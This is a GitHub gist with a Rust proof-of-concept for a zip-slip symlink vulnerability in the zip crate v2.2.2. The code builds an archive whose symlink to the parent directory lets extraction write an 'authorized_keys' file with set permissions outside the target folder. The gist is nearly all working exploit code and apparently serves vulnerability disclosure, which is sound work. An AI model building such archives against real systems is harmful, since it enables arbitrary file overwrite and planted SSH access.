Skip to content

Instantly share code, notes, and snippets.

@eternal-flame-AD
Last active April 4, 2025 12:35
Show Gist options
  • Select an option

  • Save eternal-flame-AD/bf71ef4f6828e741eb12ce7fd47b7b85 to your computer and use it in GitHub Desktop.

Select an option

Save eternal-flame-AD/bf71ef4f6828e741eb12ce7fd47b7b85 to your computer and use it in GitHub Desktop.
//! Zip-slip in `crates.io/zip@v2.2.2`
//!
//! CWE-61: UNIX Symbolic Link (Symlink) following.
//!
//! This is a variant of the zip-slip vulnerability (CVE-2018-1000170), we can make the extraction logic step outside of the target directory
//! by creating a symlink to the parent directory and then extracting further files through that symlink.
//!
//! The documentation of the [`::zip::read::ZipArchive::extract`] method is in my opinion implying this should not happen:
//!
//! > "Paths are sanitized with ZipFile::enclosed_name." ...
//! > [ [`::zip::read::FileOptions::enclosed_name`] ] ... is resistant to path-based exploits ... can’t resolve to a path outside the current directory.
//!
//! This file is a proof of concept.
use std::{
fs::File,
hash::{BuildHasher, RandomState},
io::Write,
os::unix::fs::PermissionsExt,
time::Instant,
};
use zip::{write::FileOptions, ZipArchive, ZipWriter};
fn create_payload(seed: impl AsRef<[u8]>) {
let mut zip = ZipWriter::new(File::create("test.zip").unwrap());
zip.add_symlink::<_, _, ()>("parent", "../", FileOptions::default())
.unwrap();
let ruu = FileOptions::default().unix_permissions(0o600);
zip.start_file::<_, ()>("parent/not_really_ssh/authorized_keys", ruu)
.unwrap();
zip.write_all(seed.as_ref()).unwrap();
zip.finish().unwrap();
}
fn main() {
std::fs::remove_dir_all("work").ok();
let seed = RandomState::new().hash_one(Instant::now());
eprintln!("[+] Seed: {}", seed);
create_payload(&seed.to_be_bytes());
eprintln!("[+] Extracting to work/extract hoping for the best...");
ZipArchive::new(File::open("test.zip").unwrap())
.expect("failed to open zip")
.extract("work/extract")
.unwrap();
match std::fs::read("work/not_really_ssh/authorized_keys") {
Ok(result) => {
if result == seed.to_be_bytes() {
eprintln!("[+] Success, work/not_really_ssh/authorized_keys is overwritten!");
let read_permissions = std::fs::metadata("work/not_really_ssh/authorized_keys")
.unwrap()
.permissions();
if read_permissions.mode() & 0o777 == 0o600 {
eprintln!("[+] Successfully set permissions to 0o600");
} else {
eprintln!(
"[-] File content is correct but permissions are not set to 0o600 but {:o}",
read_permissions.mode()
);
}
} else {
eprintln!("[-] File exists but is not overwritten");
}
}
Err(e) => {
eprintln!("[-] Error: {}", e);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment